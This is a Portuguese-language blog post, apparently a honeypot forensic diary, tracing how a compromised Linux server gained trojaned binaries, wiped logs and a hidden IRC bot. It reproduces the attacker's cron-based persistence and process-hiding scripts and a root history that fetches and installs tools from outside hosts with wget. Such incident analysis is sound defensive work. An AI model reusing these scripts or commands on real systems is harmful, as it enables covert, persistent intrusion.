<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="352">60.191.187.227</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">59.175.146.230</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">116.228.1.50</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">219.144.130.194</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
<tr>
<td valign="top" width="352">87.197.108.112</td>
<td valign="top" width="351">Eslováquia</td>
</tr>
<tr>
<td valign="top" width="352">108.197.87.112</td>
<td valign="top" width="351">-</td>
</tr>
<tr>
<td valign="top" width="352">201.238.198.110</td>
<td valign="top" width="351">Chile</td>
</tr>
<tr>
<td valign="top" width="352">190.17.234.2</td>
<td valign="top" width="351">Argentina</td>
</tr>
<tr>
<td valign="top" width="352">61.16.240.36</td>
<td valign="top" width="351">India</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p><em>16:57:15 dns sshd[20628]: Accepted password for root from 184.105.240.158 port 46134 ssh2</em></p>
<p>Finalmente o usuário &#8216;test&#8217; foi descoberto&#8230;</p>
<p><em>16:58:00 dns sshd[20661]: Accepted password for test from 184.105.240.158 port 48938 ssh2</em></p>
<p>&nbsp;</p>
<p>E muito próximo disto temos mais um acesso pelo usuário root&#8230;</p>
<p>&nbsp;</p>
<div>
<p><em>16:57:42 dns sshd[20640]: Accepted password for root from 92.85.189.160 port 53867 ssh2</em></p>
</div>
<p>&nbsp;</p>
<p>Que desta vez foi mais esperto&#8230;.</p>
<p><strong><em>16:58:53 dns passwd[20687]: pam_unix(passwd:chauthtok): password changed for root</em></strong></p>
<p>Até o momento, todos estes <em>brute forces</em> eram esperado, a partir de agora o que vier fará parte da inteligência do atacante, pois quem quer se esteja por trás do ip <em>92.85.189.160</em>, não gosta de compartilhar um servidor com mais uns estrangeiros, visto que senha de root foi alterada.</p>
<p>Mas não podemos esquecer que existe um usuário &#8216;game&#8217; com poderes de root no qual foi criado nesta semana, este ainda pode acabar com a festa&#8230;</p>
<p>&nbsp;</p>
<p>Ip&#8217;s que fizeram tentativas ao servidor Total 11</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="352">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="351">
<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="352">60.191.187.227</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">59.175.146.230</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">116.228.1.50</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">219.144.130.194</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
<tr>
<td valign="top" width="352">87.197.108.112</td>
<td valign="top" width="351">Eslováquia</td>
</tr>
<tr>
<td valign="top" width="352">108.197.87.112</td>
<td valign="top" width="351">-</td>
</tr>
<tr>
<td valign="top" width="352">201.238.198.110</td>
<td valign="top" width="351">Chile</td>
</tr>
<tr>
<td valign="top" width="352">190.17.234.2</td>
<td valign="top" width="351">Argentina</td>
</tr>
<tr>
<td valign="top" width="352">61.16.240.36</td>
<td valign="top" width="351">India</td>
</tr>
<tr>
<td valign="top" width="352">118.127.0.242</td>
<td valign="top" width="351">Australia</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Ao final desta semana tivemos diversos acessos ao servidor, que por sinal já esta bem comprometido, vejamos a saída do comando &#8216;<span style="text-decoration: underline;">last&#8217;</span>:</p>
<div>
<p><em>game     pts/1        2-234-17-190.fib Fri Sep 17 18:00 &#8211; 18:01  (00:01)    </em></p>
<p><em>root     pts/1        2-234-17-190.fib Fri Sep 17 17:56 &#8211; 17:59  (00:02)    </em></p>
<p><em>root     pts/0        201.238.198.110  Fri Sep 17 17:53 &#8211; 18:21  (00:27)    </em></p>
<p><em>root     pts/0        92.80.232.122    Fri Sep 17 11:36 &#8211; 12:05  (00:29)    </em></p>
<p><em>test     pts/1        210.188.221.21   Fri Sep 17 11:24 &#8211; 11:25  (00:00)    </em></p>
<p><em>root     pts/0        210.188.221.21   Fri Sep 17 11:23 &#8211; 11:25  (00:01)    </em></p>
<p><em>root     pts/0        58.211.1.163     Fri Sep 17 07:24 &#8211; 07:24  (00:00)    </em></p>
<p><em>root     pts/0        116.228.1.50     Fri Sep 17 06:06 &#8211; 06:06  (00:00)    </em></p>
<p><em>root     pts/0        59.175.146.230   Fri Sep 17 03:40 &#8211; 03:40  (00:00)    </em></p>
<p><em>root     pts/0        60.191.187.227   Thu Sep 16 22:22 &#8211; 22:23  (00:01)   </em></p>
<p><em>root     pts/0        202.190.180.229  Thu Sep 16 14:44 &#8211; 14:44  (00:00)    </em></p>
<p><em>root     pts/1        180.149.53.114   Thu Sep 16 08:19 &#8211; 08:19</em></p>
<p>wtmp begins Wed Sep 15 02:37:11 2010</p>
</div>
<p>&nbsp;</p>
<p>Até o momento só vi <em>logs</em> e mais <em>logs</em>, algo que deixou em alerta são alguns acessos de longo período de atividade, a partir de amanhã levantarei quais foram as modificações realizadas no sistema operacional, pois os alertas do <em>samhain</em> estão cada vez mais comuns.</p>
<p>Para evitar perder algumas evidências, fiz algumas alterações para preservar os <em>logs</em> pois o atacante pode remover os <em>logs</em> a qualquer momento, já que esta é uma prática comum entre os <em>hackers</em>.</p>
<p>Também foi criado a variável HISTFILE dentro do arquivo .bashrc dos usuários &#8216;root&#8217;, &#8216;game&#8217; e &#8216;test&#8217; que são os mais acessados.</p>
<p>A seguinte linha foi adicionada no arquivo .bashrc destes usuários e também adicionada ao /etc/skel/.bashrc, pois caso houver a criação de algum usuário novo o mesmo levará consigo estas variáveis.</p>
<p>export HISTFILE=/usr/local/tmp/history_root</p>
<p>&nbsp;</p>
<p>Cada usuário tem um arquivo diferente para armazenar os <em>logs</em>.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>SEGUNDA SEMANA</strong></p>
<p><strong> </strong>            Logo de início temos mais um acesso pelo usuário &#8216;test&#8217;, por ele ser um usuário comum, teoricamente, muita coisa ele não poderá fazer, gostaríamos de ver algum exploit ou alguma técnica nova de escalação de privilégios&#8230;.</p>
<p>&nbsp;</p>
<div>
<p>21:44:01 dns sshd[23679]: Accepted password for test from 118.127.0.242 port 58320 ssh2</p>
</div>
<p>&nbsp;</p>
<p>Mais um descobridor do usuário &#8216;test&#8217;&#8230;</p>
<p>21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2</p>
<p>&nbsp;</p>
<p>Ip&#8217;s que fizeram tentativas ao servidor Total 14</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td valign="top" width="352">
<p align="center"><strong>IP ORIGEM</strong></p>
</td>
<td valign="top" width="351">
<p align="center"><strong>LOCALIZAÇÃO</strong></p>
</td>
</tr>
<tr>
<td valign="top" width="352">60.191.187.227</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">59.175.146.230</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">116.228.1.50</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">219.144.130.194</td>
<td valign="top" width="351">China</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
<tr>
<td valign="top" width="352">87.197.108.112</td>
<td valign="top" width="351">Eslováquia</td>
</tr>
<tr>
<td valign="top" width="352">108.197.87.112</td>
<td valign="top" width="351">-</td>
</tr>
<tr>
<td valign="top" width="352">201.238.198.110</td>
<td valign="top" width="351">Chile</td>
</tr>
<tr>
<td valign="top" width="352">190.17.234.2</td>
<td valign="top" width="351">Argentina</td>
</tr>
<tr>
<td valign="top" width="352">61.16.240.36</td>
<td valign="top" width="351">India</td>
</tr>
<tr>
<td valign="top" width="352">118.127.0.242</td>
<td valign="top" width="351">Australia</td>
</tr>
<tr>
<td valign="top" width="352">79.117.72.85</td>
<td valign="top" width="351">Romênia</td>
</tr>
<tr>
<td valign="top" width="352">180.149.11.23</td>
<td valign="top" width="351">Bangladesh</td>
</tr>
<tr>
<td valign="top" width="352">210.188.221.21</td>
<td valign="top" width="351">Japão</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>Hoje ao logar no servidor e executar o comando &#8216;last&#8217;, que lista os últimos acessos ao servidor, me deparo com uma situação engraçada, antes era exibido uma lista grande de acesso como descrito um pouco acima, porém agora a lista esta menor, vejamos:</p>
<p>test     pts/2        79.117.72.85     Sat Sep 18 21:45   still logged in</p>
<div>
<p>test     pts/2        www.dancemusichu Sat Sep 18 21:44 &#8211; 21:45  (00:00)</p>
<p>test     pts/0        www.dancemusichu Sat Sep 18 21:44 &#8211; 21:57  (00:13)</p>
<p>test     pts/0        www.dancemusichu Sat Sep 18 21:44 &#8211; 21:44  (00:00)</p>
<p>wtmp begins Sat Sep 18 21:44:01 2010</p>
</div>
<p>&nbsp;</p>
<p>É isto mesmo, tivemos os <em>logs</em> removidos!!</p>
<p>A última linha da saída do comando &#8216;last&#8217; nos da uma informação valiosa, quer dizer que o novo arquivo de log foi iniciado em 18 de Setembro de 20010 ás 21:44:01h.</p>
<p>&nbsp;</p>
<p>Analisando o arquivo gerado pelo tcpdump, vemos que o ultimo acesso ao servidor pela porta 22(ssh) teve origem do ip 92.85.189.160 (Romênia) e está muito próximo da data em que os <em>logs</em> foram removidos.</p>
<p>&nbsp;</p>
<p>Nada garante que o atacante seja da origem do endereço ip, pois é muito comum entre os hackers a utilização de &#8216;nós&#8217;, ou seja, uma máquina comprometida em outro país seja utilizada como uma ponte para acesso a outro servidor, ou mesmo a utilização de <em>proxy&#8217;s</em> para acesso a outros servidores para dificultar a localização do atacante.</p>
<p>Outra evidência encontrada nesta semana foi a alteração dos binários do sistema, além do <em>samhain</em> ter alertado, também foi possível depois que foi executado o comando &#8216;ps&#8217;:</p>
<p>&nbsp;</p>
<div>
<p>root@dns:~# ps</p>
<p>Falha de segmentação</p>
</div>
<p>&nbsp;</p>
<p>A partir deste momento, tudo o que é visualizado na tela pode não ser real, pois com os binários importantes manipulados, quem manipulou, filtra somente aquilo que deseja ser visível ao <em>sysadmin</em>, ou seja, conexões ou processos pode não ser visível sendo executado pelo binário modificado.</p>
<p>&nbsp;</p>
<p>Um exemplo do comando &#8216;netstat&#8217; no servidor:</p>
<p>&nbsp;</p>
<div>
<p>root@dns:~# netstat -an</p>
<p>Conexões Internet Ativas (servidores e estabelecidas)</p>
<p>Proto Recv-Q Send-Q Endereço Local          Endereço Remoto         Estado</p>
<p>tcp        0          0                     0.0.0.0:111               0.0.0.0:*                      OUÇA</p>
<p>tcp        0          0                     0.0.0.0:22                 0.0.0.0:*                     OUÇA</p>
<p>tcp        0          0                                   :::80                    :::*                              OUÇA</p>
<p>udp       0          0                        0.0.0.0:111           0.0.0.0:*</p>
</div>
<p>E na verdade, o servidor esta servindo como ponte, e esta atacando outros servidores da mesma maneira que fui atacado, via <em>brute force</em>:</p>
<p>Abaixo a saída do comando &#8216;netstat&#8217; de um binário limpo&#8230;.</p>
<p>&nbsp;</p>
<div>
<p><em>tcp        0      1 189.100.65.245:43137    4.187.0.206:22          SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:49391    12.15.0.166:22          TIME_WAIT  </em></p>
<p><em>tcp        0      1 189.100.65.245:49915    4.188.0.55:22           SYN_ENVIADO</em></p>
<p><em>tcp        0      1 189.100.65.245:33015    4.187.0.68:22           SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:54583    200.171.169.157:22      TIME_WAIT  </em></p>
<p><em>tcp        0      1 189.100.65.245:40913    4.187.0.166:22          SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:56366    200.171.169.157:22      TIME_WAIT  </em></p>
<p><em>tcp        0     52 189.100.65.245:52786    12.179.0.202:22         ESTABELECIDA</em></p>
<p><em>tcp        0      0 189.100.65.245:53861    12.189.0.65:22          TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:42993    12.35.0.131:22          TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:57827    200.171.169.157:22      TIME_WAIT  </em></p>
<p><em>tcp        0    144 189.100.65.245:55289    12.168.0.114:22         ESTABELECIDA</em></p>
<p><em>tcp        0      0 189.100.65.245:45116    12.108.0.149:22         TIME_WAIT  </em></p>
<p><em>tcp        0      1 189.100.65.245:58976    4.186.0.182:22          SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:33097    200.171.131.99:22       TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:41088    200.172.118.3:22        TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:52661    12.108.0.67:22          TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:48526    200.172.36.24:22        TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:57945    200.171.143.23:22       TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:47074    200.171.9.206:22        TIME_WAIT  </em></p>
<p><em>tcp        0      1 189.100.65.245:52177    4.187.0.212:22          SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:36124    12.35.0.131:22          TIME_WAIT  </em></p>
<p><em>tcp        0      1 189.100.65.245:44927    4.188.0.93:22           SYN_ENVIADO</em></p>
<p><em>tcp        0      0 189.100.65.245:41041    200.172.83.162:22       TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:56750    200.172.230.187:22      TIME_WAIT  </em></p>
<p><em>tcp        0      0 189.100.65.245:41356    12.110.0.115:22         TIME_WAIT  </em></p>
</div>
<p>&nbsp;</p>
<p>Este é somente um pequeno pedaço da saída do comando &#8216;netstat&#8217;.</p>
<p>&nbsp;</p>
<p>Vemos que existe algumas conexões estabelecidas na porta 22 (ssh) e muitas outras com o sinal de &#8216;TIME_WAIT&#8217;.</p>
<p>Antes de prosseguir, o <em>samhain</em> nos informou por e-mail que no dia 17 de Setembro ás 23:16h, foram alterados uma série de arquivos no &#8216;/bin&#8217;, dentre eles o binário &#8216;ls&#8217; não foi alterado, então podemos utilizá-lo para listar os arquivos.</p>
<p>&nbsp;</p>
<p>Segue a lista de arquivos alterados:</p>
<p><em>drwxr-xr-x  2 root root 4,0K Set 17 23:16 .</em></p>
<div>
<p><em>-rwxr-xr-x  1 root root  12K Set 17 23:16 bzip2recover</em></p>
<p><em>-rwxr-xr-x  1 root root  31K Set 17 23:16 cat</em></p>
<p><em>-rwxr-xr-x  1 root root  49K Set 17 23:16 chgrp</em></p>
<p><em>-rwxr-xr-x  1 root root  46K Set 17 23:16 chmod</em></p>
<p><em>-rwxr-xr-x  1 root root  58K Set 17 23:16 date</em></p>
<p><em>-rwxr-xr-x  1 root root 8,4K Set 17 23:16 dmesg</em></p>
<p><em>-rwxr-xr-x  1 root root  13K Set 17 23:16 dnsdomainname</em></p>
<p><em>-rwxr-xr-x  1 root root  28K Set 17 23:16 echo</em></p>
<p><em>-rwxr-xr-x  1 root root  26K Set 17 23:16 false</em></p>
<p><em>-rwxr-xr-x  1 root root  59K Set 17 23:16 fgrep</em></p>
<p><em>-rwxr-xr-x  1 root root 103K Set 17 23:16 grep</em></p>
<p><em>-rwxr-xr-x  1 root root  58K Set 17 23:13 gzip</em></p>
<p><em>-rwxr-xr-x  1 root root  39K Set 17 23:16 loadkeys</em></p>
<p><em>-rwxr-xr-x  1 root root 8,5K Set 17 23:16 mountpoint</em></p>
<p><em>-rwxr-xr-x  1 root root  32K Set 17 23:16 mt-gnu</em></p>
<p><em>-rwxr-xr-x  1 root root 151K Set 17 23:16 nano</em></p>
<p><em>-rwsr-xr-x  1 root root  35K Set 17 23:16 ping</em></p>
<p><em>-rwxr-xr-x  1 root root  78K Set 17 23:16 ps</em></p>
<p><em>-rwxr-xr-x  1 root root  27K Set 17 23:16 sleep</em></p>
</div>
<p>&nbsp;</p>
<p>Resumindo, tivemos os <em>logs</em> apagados e alguns binários modificados.</p>
<p>&nbsp;</p>
<p>O <em>samhain</em> esta sendo de grande utilidade, pois seria impossível ficar analisando em tempo real os arquivos alterados.</p>
<p>Desta vez ele nos alertou do crontab, o agendados de taferas do linux. Ao verificar o que ocorreu, detectei uma entrada muito estranha:</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div>
<p><em>dns:~# crontab -l</em></p>
<p><em>* * * * * /var/tmp/j/deltmp.pl &gt;/dev/null 2&gt;&amp;1</em></p>
</div>
<p>&nbsp;</p>
<p>Ao visualizarmos de perto esse script perl&#8230;</p>
<p><em>dns:~# cat /var/tmp/j/deltmp.pl</em></p>
<div>
<p><em>#!/bin/sh</em></p>
<p><em>if test -r /var/tmp/j/mech.pid; then</em></p>
<p><em>pid=$(cat /var/tmp/j/mech.pid)</em></p>
<p><em>if $(kill -CHLD $pid &gt;/dev/null 2&gt;&amp;1)</em></p>
<p><em>then</em></p>
<p><em>exit 0</em></p>
<p><em>fi</em></p>
<p><em>fi</em></p>
<p><em>cd /var/tmp/j</em></p>
<p><em>./run &amp;&gt;/dev/null</em></p>
</div>
<p>&nbsp;</p>
<p>Na verdade tem a extensão .pl(Perl), mas é um script bash que faz coisas muito interessantes, vejamos&#8230;</p>
<ol start="1">
<li>Primeiramente verifica se existe o arquivo localizado em /var/tmp/j/mech.pid</li>
<li>Se existir, ele atribui á variável &#8216;pid&#8217; o número do processoem execução. Naverdade se vermos o arquivo mech.pid teremos o número do processo:</li>
</ol>
<p>dns:~# cat /var/tmp/j/mech.pid</p>
<p><strong>5943</strong></p>
<p><strong> </strong></p>
<ol start="3">
<li>O processo é finalizado e o binário é executado novamente.</li>
</ol>
<p>&nbsp;</p>
<p>Mas o que este binário faz?? Visualizando o arquivo &#8216;run&#8217;, veremos&#8230;.</p>
<p>&nbsp;</p>
<div>
<p>#!/bin/sh</p>
<p>DGRN=&#8217;_[0;32m'</p>
<p>GRN='_[1;32m'</p>
<p>RES='_[0m'</p>
<p>WHI='_[1;37m'</p>
<p>DCYN='_[0;36m'</p>
<p>echo "${DCYN}[-] Espera&#8230; ${WHI}&#8221;</p>
<p>sleep 3</p>
<p>./hide -s &#8220;/usr/sbin/sshd&#8221; ./emech</p>
<p>echo &#8220;${DCYN}[-] Listo, Mech para Linux corriendo satisfactoriamente!${RES}&#8221;</p>
</div>
<p>&nbsp;</p>
<p>Ele também é um script bash!! Que chama o arquivo &#8216;hide&#8217; com uns parâmetros e logo após executa o binário &#8216;emech&#8217; todos localizados no diretório &#8216;/var/tmp/j/&#8217;</p>
<p>O arquivo hide aparenta ser um binário malicioso que  camufla os processos e substitui por uma string &#8216;/usr/sbin/ssh&#8217;, vamos utilizar a ferramenta &#8216;strings&#8217; para ver se conseguimos coletar algo&#8230;.</p>
<div>
<p>File: hide</p>
<p>MD5:  364ed3e6bcb831ed5987e718a777b5f1</p>
<p>Size: 20748</p>
<p>&#8230;</p>
<p>&#8230;</p>
<p>&#8230;</p>
<p>XHide &#8211; Process Faker, by Schizoprenic Xnuxer Research (c) 2002</p>
<p>Options:</p>
<p>-s string</p>
<p>Fake name process</p>
<p>Run aplication as daemon/system (optional)</p>
<p>-u uid[:gid]</p>
<p>Change UID/GID, use another user (optional)</p>
<p>-p filename</p>
<p>Save PID to filename (optional)</p>
<p>Example: %s -s &#8220;klogd -m 0&#8243; -d -p test.pid ./egg bot.conf</p>
<p>Full path seek</p>
<p>/dev/null</p>
<p>&#8230;..</p>
<p>&#8230;..</p>
</div>
<p><em> </em></p>
<p>Copiei somente o necessário para entendermos o binário, o arquivo por completo estará disponível para download através de uma URL descrita no final deste artigo.</p>
<p>Como se imaginava, o arquivo malicioso camufla o binário &#8216;emech&#8217; que nos processos do sistema será visto como &#8220;/usr/sbin/sshd&#8221;.</p>
<p>Agora vamos atrás do binário &#8216;emech&#8217;, strings novamente&#8230;</p>
<p>&nbsp;</p>
<p><em>File: emech</em></p>
<div>
<p><em>MD5:  92bb28077f4d54960bbd6a22cb01466e</em></p>
<p><em>Size: 497561</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>ALIAS</em></p>
<p><em>WINGATE</em></p>
<p><em>VIRTUAL</em></p>
<p><em>SIGMASTER</em></p>
<p><em>TOPIC</em></p>
<p><em>CHANNEL</em></p>
<p><em>IRCNAME</em></p>
<p><em>CMDCHAR</em></p>
<p><em>USERFILE</em></p>
<p><em>USERMASTER</em></p>
<p><em>USERSLAVE</em></p>
<p><em>LINKPORT</em></p>
<p><em>LINKPASS</em></p>
<p><em>AUTOLINK</em></p>
<p><em>NOSEEN</em></p>
<p><em>NOSHELLCMD</em></p>
<p><em>NOSIGNALS</em></p>
<p><em>HASONOTICE</em></p>
<p><em>SHARED</em></p>
<p><em>EXPIRE</em></p>
<p><em>REASON</em></p>
<p><em>PROT</em></p>
<p><em>ECHO</em></p>
<p><em>HANDLE</em></p>
<p><em>./mech.set</em></p>
<p><em>./mech.session</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>Users on %s that are idle more than %i second%s:</em></p>
<p><em>Quit the nick floods you lamer</em></p>
<p><em>Get the hell out nick-flooding lamer!!!</em></p>
<p><em>%s kicked from %s for nick flooding</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>@ &lt;channel&gt; [-ops|-nonops] [pattern]</em></p>
<p><em>@ &lt;PORT port&gt; | &lt;SERVER host&gt; | &lt;SEND&gt;</em></p>
<p><em>@ [+minlevel] [-maxlevel] [#channel] [usermask] [-B] [-C]</em></p>
<p><em>@ [channel] &lt;toggle&gt; [0|1|on|off]</em></p>
<p><em>@ &lt;channel&gt; &lt;nick|userhost&gt; &lt;newlevel&gt;</em></p>
<p><em>@ &lt;channel&gt; &lt;nick|userhost&gt; &lt;level&gt; [expire] &lt;reason&gt;</em></p>
<p><em>@ &lt;servername&gt; [port] [login] [ircname]</em></p>
<p><em>@ &lt;channel&gt; &lt;pattern of words banned&gt;</em></p>
<p><em>@ &lt;UP|DOWN|ADD|DEL|PORT&gt; &lt;&#8230;&gt;</em></p>
<p><em>LINK ADD &lt;entity&gt; &lt;linkpass&gt; &lt;host&gt; &lt;linkport&gt;</em></p>
<p><em>@ &lt;channel&gt; &lt;&#8221;String to kick on&#8221;&gt; &lt;&#8221;kick reason&#8221;&gt;</em></p>
<p><em>@ [topic|command|level|pattern]</em></p>
<p><em>@ [channel] &lt;nick|pattern [...]&gt;</em></p>
<p><em>@ &lt;handle&gt; &lt;channel&gt; &lt;nick|userhost&gt; &lt;level&gt; [aop] [prot] [pass]</em></p>
<p><em>%s signed off %s ago with message [%s]</em></p>
<p><em>%s changed nicks to %s, %s ago</em></p>
<p><em>%s was kicked by %s with message [%s] %s ago</em></p>
<p><em>Commands available to you</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>Nickname too long: %s</em></p>
<p><em>I&#8217;ll get you for this!!!</em></p>
<p><em>Handle %s is already in use</em></p>
<p><em>No nick or userhost specified</em></p>
<p><em>No level specified</em></p>
<p><em>*!*@*.*</em></p>
<p><em>%s %s on %s is already a user</em></p>
<p><em>%s has been added as %s on %s</em></p>
<p><em>Password:</em></p>
<p><em>Problem adding the user</em></p>
<p><em>Unknown handle</em></p>
<p><em>Deleting bot %s</em></p>
<p><em>User %s has been purged</em></p>
<p><em>Levels were written to %s</em></p>
<p><em>Levels were read from %s</em></p>
<p><em> could not be</em></p>
<p><em>Lists%s saved to file %s</em></p>
<p><em>Lists%s read from file %s</em></p>
<p><em>No nick specified</em></p>
<p><em>Ban attempt of %s</em></p>
<p><em>%s banned on %s</em></p>
<p><em>Siteban attempt of %s</em></p>
<p><em>%s sitebanned on %s</em></p>
<p><em>Kickban attempt of %s</em></p>
<p><em>Requested Kick</em></p>
<p><em>%s kickbanned on %s</em></p>
<p><em>Sitekickban attempt of %s</em></p>
<p><em>%s sitekickbanned on %s</em></p>
<p><em>Kick attempt of %s</em></p>
<p><em>./randfiles/randkicks.e</em></p>
<p><em>%s kicked from %s</em></p>
<p><em>-ops</em></p>
<p><em>-nonops</em></p>
<p><em>I have no information on %s</em></p>
<p><em>Users on %s%s</em></p>
<p><em>%4i%c   %c %9s %s</em></p>
<p><em>No matching users found</em></p>
<p><em>No users found</em></p>
<p><em>End of Userlist</em></p>
<p><em>No reason specified</em></p>
<p><em>The shitlist will expire: %s</em></p>
<p><em>Problem shitting the user</em></p>
<p><em>Unknown user: %s</em></p>
<p><em>access denied</em></p>
<p><em>Valid levels are 0 thru %i</em></p>
<p><em>Level changed from %i to %i</em></p>
<p><em>You have been unbanned on %s</em></p>
<p><em>%s unbanned on %s</em></p>
<p><em>./randfiles/randnicks.e</em></p>
<p><em>&#8230;&#8230;..</em></p>
</div>
<p>&nbsp;</p>
<p>É isto mesmo!!! O servidor se tornou um servidor de IRC<sup>. </sup>Visualizando melhor outros arquivos na pasta, encontramos&#8230;</p>
<p>&nbsp;</p>
<div>
<p>#!/bin/sh</p>
<p>echo &#8220;[+] Corriendo procesos Anti-Kill&#8221;</p>
<p>echo &#8220;&#8221;</p>
<p>pwd &gt; exp.dir</p>
<p>dir=$(cat exp.dir)</p>
<p>echo &#8220;* * * * * $dir/deltmp.pl &gt;/dev/null 2&gt;&amp;1&#8243; &gt; cron.d</p>
<p>crontab cron.d</p>
<p>crontab -l | grep deltmp.pl</p>
<p>echo &#8220;#!/bin/sh</p>
<p>if test -r $dir/mech.pid; then</p>
<p>pid=\$(cat $dir/mech.pid)</p>
<p>if \$(kill -CHLD \$pid &gt;/dev/null 2&gt;&amp;1)</p>
<p>then</p>
<p>exit 0</p>
<p>fi</p>
<p>fi</p>
<p>cd $dir</p>
<p>./run &amp;&gt;/dev/null&#8221; &gt; deltmp.pl</p>
<p>chmod u+x deltmp.pl</p>
<p>sleep 3</p>
<p>echo &#8220;&#8221;</p>
<p>echo &#8220;Listo!&#8221;</p>
<p>#echo &#8220;Para correr mech sobre linux ejecuta ./run&#8221;</p>
<p>#echo &#8220;Para correr mech sobre darwin ejecuta ./mac&#8221;</p>
</div>
<p>&nbsp;</p>
<p>Ou seja, se o processo for finalizado, ele executa-o novamente e sempre atualiza o crontab chamando o script caso o mesmo for removido.</p>
<p>&nbsp;</p>
<p><strong>TERCEIRA SEMANA</strong></p>
<p>Buscando mais evidências, fui em busca do histórico de comandos do usuário &#8216;root&#8217;, que tínhamos direcionados para outra localização, e ao vermos o seu conteúdo&#8230;</p>
<p>&nbsp;</p>
<div>
<p><em>dns:~# cat /usr/local/tmp/history_root</em></p>
<p><em>ls -a</em></p>
<p><em>cd .ICE-UNIX</em></p>
<p><em>cd</em></p>
<p><em>rm -rf *</em></p>
<p><em>rm -rf .ICE-UNIX</em></p>
<p><em>exit</em></p>
<p><em>uname -a</em></p>
<p><em>passwd</em></p>
<p><em>wget </em><em>http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe</em><em></em></p>
<p><em>wget tohellandback.ucoz.com/wakodi.tgz</em></p>
<p><em>tar zxvf wakodi.tgz</em></p>
<p><em>cat /proc/cpuinfo</em></p>
<p><em>cd ../../../../</em></p>
<p><em>cd var</em></p>
<p><em>cdtmp</em></p>
<p><em>mkdir</em></p>
<p><em>mkdir~</em></p>
<p><em>mkdir pbx</em></p>
<p><em>ls</em></p>
<p><em>cd tmp</em></p>
<p><em>ls</em></p>
<p><em>wget http://mpress.dlinkddns.com/sipscan.tgz</em></p>
<p><em>ls~</em></p>
<p><em>wget http://mpress.dlinkddns.com/sipscan.tgz</em></p>
<p><em>tar zxvf sipscan.tgz</em></p>
<p><em>rm -rf sipscan.tgz</em></p>
<p><em>mv sipscan7.1 sip</em></p>
<p><em>cd sip</em></p>
<p><em>./install</em></p>
<p><em>pico</em></p>
<p><em>vi~~</em></p>
<p><em>nano~</em></p>
<p><em>./install</em></p>
<p><em>cd ../</em></p>
<p><em>apr-get</em></p>
<p><em>apt-get</em></p>
<p><em>apt-get install gcc</em></p>
<p><em>y</em></p>
<p><em>s</em></p>
<p><em>ls</em></p>
<p><em>rm -rf sip</em></p>
</div>
<p>Temos mais artefatos interessantes, vemos que o atacante removeu o conteúdo do diretório &#8216;/root&#8217;, alterou a senha do root e realizou alguns downloads.</p>
<p>Fui atrás deste arquivo &#8216;wakodi.tgz&#8217; pela URL acima, porém a mesma não esta mais disponível. O wakodi é um software open source que te possibilita gerenciar um servidor via uma console web, algo muito semelhante ao conhecido Webmin.</p>
<p>Percebi que o atacante não esta utilizando mais o ssh para conectar no servidor, por isso o recurso de redirecionar o histórico de comandos não servirá mais pois ele esta utilizando o netcat para conectar ao servidor, percebi isso nos processos em execução e nas portas abertas, listando na saida do comando &#8216;netstat&#8217;.</p>
<p>&nbsp;</p>
<div>
<p>Proto Recv-Q Send-Q EndereÃ§o Local          EndereÃ§o Remoto</p>
<p>tcp        426      0 0.0.0.0:41890           0.0.0.0:*</p>
</div>
<p>&nbsp;</p>
<p>Agora teremos que ter mais atenção, a conexão esta via protocolo tcp, porta 41890. Deixei o tcpdump em execução escutando esta porta para me auxiliar.</p>
